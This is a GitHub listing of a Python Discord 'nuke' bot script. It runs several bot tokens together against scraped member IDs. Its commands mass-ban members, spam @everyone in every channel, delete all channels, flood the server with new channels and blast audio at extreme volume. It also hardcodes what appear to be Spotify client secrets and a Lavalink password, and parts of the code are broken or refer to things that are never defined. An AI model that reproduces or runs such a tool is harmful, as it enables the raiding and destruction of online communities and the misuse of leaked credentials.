-
Notifications
You must be signed in to change notification settings - Fork 0
/
ray.py
155 lines (125 loc) · 4.89 KB
/
ray.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import discord
from discord.ext import commands
import asyncio
import jishaku
import os
import random
BOT_TOKENS = []
intents = discord.Intents.all()
intents.webhooks= True
intents.messages = True
async def create_bot(token, ids):
bot = commands.Bot(command_prefix='!', intents=intents)
bot.owner_ids = [1043194242476036107, 765865384011628574, 630616794033291267]
await bot.load_extension("jishaku")
@bot.command()
@commands.is_owner()
async def banall(ctx):
guild = ctx.guild
for member_id in ids:
try:
user = await bot.fetch_user(member_id)
await guild.ban(user, reason="fcked")
await ctx.send(f"Banned {user.name} (ID: {user.id})")
print(f"Banned {user.name} (ID: {user.id})")
ids.remove(member_id)
except Exception as e:
print(f"Failed to ban user with ID {member_id}: {e}")
@bot.command()
@commands.is_owner()
async def ray(ctx, *, lund):
async def send_message(channel, *, lund):
for _ in range(150):
await channel.send(f"@everyone @here {lund}")
tasks = []
for channel in ctx.guild.text_channels:
task = asyncio.create_task(send_message(channel, lund))
tasks.append(task)
await asyncio.gather(*tasks)
@bot.command()
@commands.is_owner()
async def delete(ctx):
guild = ctx.guild
channels = guild.text_channels
random.shuffle(channels)
for channel in channels:
try:
await channel.delete()
except Exception as e:
print(f"Error deleting channel {channel.name}: {e}")
@bot.command()
@commands.is_owner()
async def join(ctx):
if ctx.author.voice:
channel = ctx.author.voice.channel
voice_client = await channel.connect()
await ctx.send(f'Joined {channel.name} successfully!')
else:
await ctx.send("You are not in a voice channel.")
@tasks.loop(seconds=5)
async def status_task():
await bot.change_presence(status=discord.Status.do_not_disturb,activity=discord.activity.Game(name=next(status)))
@bot.command()
@commands.is_owner()
async def leave(ctx):
if ctx.voice_client:
await ctx.voice_client.disconnect()
await ctx.send("Left voice channel.")
else:
await ctx.send("I'm not in a voice channel.")
@bot.command()
@commands.is_owner()
async def create(ctx, name):
while True:
try:
await ctx.guild.create_text_channels(name=name)
except:
break
@bot.command()
async def play(ctx):
if ctx.author.voice is None or ctx.author.voice.channel is None:
await ctx.send("You are not in a voice channel.")
return
channel = ctx.author.voice.channel
voice_client = await channel.connect()
try:
file_name = "ray.mp3"
volume_filter = f"volume=10000"
audio_source = discord.FFmpegPCMAudio(file_name, options=f"-af {volume_filter}")
voice_client.play(audio_source)
while voice_client.is_playing():
await asyncio.sleep(1)
await voice_client.disconnect()
except Exception as e:
await ctx.send(f"An error occurred: {e}")
@bot.event
async def node_connect():
await bot.wait_until_ready()
node: wavelink.Node = wavelink.Node(uri='lavalink.oryzen.xyz:80', password='oryzen.xyz', secure=False)
sc: spotify.SpotifyClient = spotify.SpotifyClient(
client_id='e7c9c292bbc24745b33743348e560d96',
client_secret='4726d6d6eba34cfe889c26844fcabc97'
)
await wavelink.NodePool.connect(client=bot, nodes=[node], spotify=sc)
@bot.event
async def on_ready():
await bot.change_presence(status=discord.Status.do_not_disturb, activity=discord.Game(name=next(status)))
try:
print(f'{bot.user.name} logged successfully')
except Exception as e:
print(f"An error occurred in on_ready: {e}")
status_task.start()
await bot.start(token)
os.environ["JISHAKU_NO_DM_TRACEBACK"] = "True"
os.environ["JISHAKU_HIDE"] = "True"
os.environ["JISHAKU_NO_UNDERSCORE"] = "True"
os.environ["JISHAKU_FORCE_PAGINATOR"] = "True"
async def main():
with open("scraped.txt", "r") as file:
member_ids = [line.strip() for line in file]
chunk_size = (len(member_ids) + len(BOT_TOKENS) - 1) // len(BOT_TOKENS)
id_chunks = [member_ids[i:i + chunk_size] for i in range(0, len(member_ids), chunk_size)]
bot_tasks = [create_bot(token, ids) for token, ids in zip(BOT_TOKENS, id_chunks)]
await asyncio.gather(*bot_tasks)
if __name__ == '__main__':
asyncio.run(main())